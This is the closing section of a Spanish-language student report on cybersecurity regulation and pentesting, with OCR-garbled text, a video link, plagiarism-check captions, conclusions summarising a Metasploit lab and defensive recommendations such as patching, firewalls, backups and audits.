Es importante invertir en el cumplimiento de los requisitos de seguridad cibernética
establecidos por las autoridades reguladoras.

La inversion adecuada en ciberseguridad no solo es una necesidad, sino una inversion
estratégica que puede ayudar a las organizaciones a mitigar riesgos y aprovechar
oportunidades de negocio de manera segura.
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7. VIDEO Y ANTI-PLAGIO

ENLACE AL VIDEO DE SUSTENTACION: https://unadvirtualedu-
my.sharepoint.com/:v:/g/personal/rmartinezbej unadvirtual edu co/EYnmBHuRIU
tNvujqlG11tJsBiZNMjZzsxcccoEvS7UmZ40?nav=eyJyZWZlcnJhbEluZm8iOnsicm
VmZXJyYWxBcHAIOIJPbmVEcmI2ZUZvckJ1c2luZXNzliwicmVmZXJyYWxBcHBOb
GF0zZzmybsSielldlYilsinJIZmVycmFEsTW9kZSI6InZpZXciLCIyZWZIcnJhbFZpZXciOi
JNeUZpbGVzTGluaORpcmVjdCJ9fQ&e=TYLff9

Figura 21. Resultado de prueba anti plagio filtro 15 palabras.
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Figura 22. Resultado de prueba anti plagio sin filtro.
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Fuente: Elaboracion propia.
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8. CONCLUSIONES

Se ha analizado dos regulaciones que abordan los delitos informéaticos y la proteccién de
datos. Estas leyes no solo marcan los limites de la accidn que se deben tener en cuenta
sino a las multas a las que se tienen por infringirlas.

Por otro lado, hemos visto las etapas esenciales del pentesting, una practica que se ha
vuelto esencial para salvaguardar la integridad de sistemas y datos. A lo largo de este
recorrido, hemos adquirido conocimientos sobre la planificacibn meticulosa, la
identificacion de vulnerabilidades, la explotacidén controlada y la ocultacién de los rastros
digitales.

La gama de herramientas utilizadas en el pentesting, desde escaneres de
vulnerabilidades hasta herramientas de explotacion, nos ha proporcionado una vision
integral de cdmo los profesionales en ciberseguridad evalian y fortalecen las defensas
digitales.

La creacion de un ejecutable que habilita el control remoto de maquinas y el uso de
Metasploit para llevar a cabo la explotacién de una vulnerabilidad han sido el eje del
laboratorio realizado. Se ha comprendido la importancia que brinda la seguridad del
sistema operativo Windows 10 por defecto, con su herramienta de Windows Defender y
la configuracion de su Firewall.

La prevencion de ataques informéticos y la mitigacion de sus consecuencias son
elementos esenciales para la continuidad de las operaciones de cualquier organizacion.
La simulacion de ataques y la identificacion proactiva de vulnerabilidades son estrategias
esenciales para mantener la seguridad de la infraestructura digital.

La diferenciacién entre los equipos de Blue Team, Red Team, Purple Teamy los Equipos
de Respuestas a Incidentes resalta la importancia de la colaboracion y la especializacion
en la ciberseguridad.

El Center for Internet Security (CIS) desempefia un papel crucial en la promocion de
buenas practicas de seguridad informatica y en la creacion de estandares que ayudan a
las organizaciones a elevar su postura de seguridad.

SIEM y XDR son enfoques diferentes en la ciberseguridad, no son mutuamente
excluyentes. SIEM se enfoca en la recopilacion y analisis de registros, mientras que XDR
amplia esta capacidad a la deteccion y respuesta a amenazas en tiempo real. La eleccion
entre ambos depende de las necesidades y recursos de cada organizacion.

Las herramientas como Snort, Suricata y AIDE son esenciales para la deteccion y
prevencion de amenazas cibernéticas. Cada una de estas herramientas tiene sus propias
ventajas y aplicaciones, y su seleccion debe basarse en los requisitos especificos de
seguridad de una organizacion.
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No podemos finalizar las conclusiones sin considerar la importancia de la educacion
continua en ciberseguridad y la necesidad de promover una mentalidad de seguridad en
todos los niveles de la sociedad.

Este trabajo no solo ha logrado cumplir con el objetivo general propuesto, sino que
también ha destacado la necesidad de una colaboracion estrecha entre la esfera técnica
y legal para abordar los desafios contemporaneos en seguridad cibernética. La
proteccion efectiva de sistemas y datos no se logra Unicamente mediante el uso de
herramientas, sino también a través de una comprension sélida de las regulaciones y la
ética que gobiernan el aspecto digital.
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9. RECOMENDACIONES

A continuacién, se describen las recomendaciones que se cree que pueden ser
importantes en las organizaciones dentro de los equipos de Blue Team & Red Team.

Revisar si los documentos legales estan ajustados a las normativas vigentes con lo
relacionado al manejo de datos por parte de la organizacion.

Realizar una prueba de pentesting para conocer el estado de la seguridad de los sistemas
e implementacién de los controles de mitigacion.

Verificar que los equipos de seguridad si se encuentran trabajando en conjunto y estén
enfocados en sus labores individuales.

Establecer una politica de actualizacion de software dentro de la organizacion esto con
el fin de evitar posibles vulnerabilidades con el uso de versiones antiguas u obsoletas.

Instalacion de un Firewall de Ultima generacion que cuente con IDS/IPS, que fortalezca
la seguridad de la red de la organizacion. Para complementar la seguridad en lared y en
los equipos se propondria adquirir un XDS para que aumente el nivel de seguridad en la
red.

Realizar auditorias y revisiones periodicamente para identificar posibles vulnerabilidades
y punto de mejora en los procesos.

Realizar backups de la informacién importante dentro de la organizacion, en diferentes
sistemas.

Buscar establecer una cultura de seguridad en toda la organizacién, donde todos los
empleados tenga presenten los riesgos informaticos de los que pueden ser victimas.
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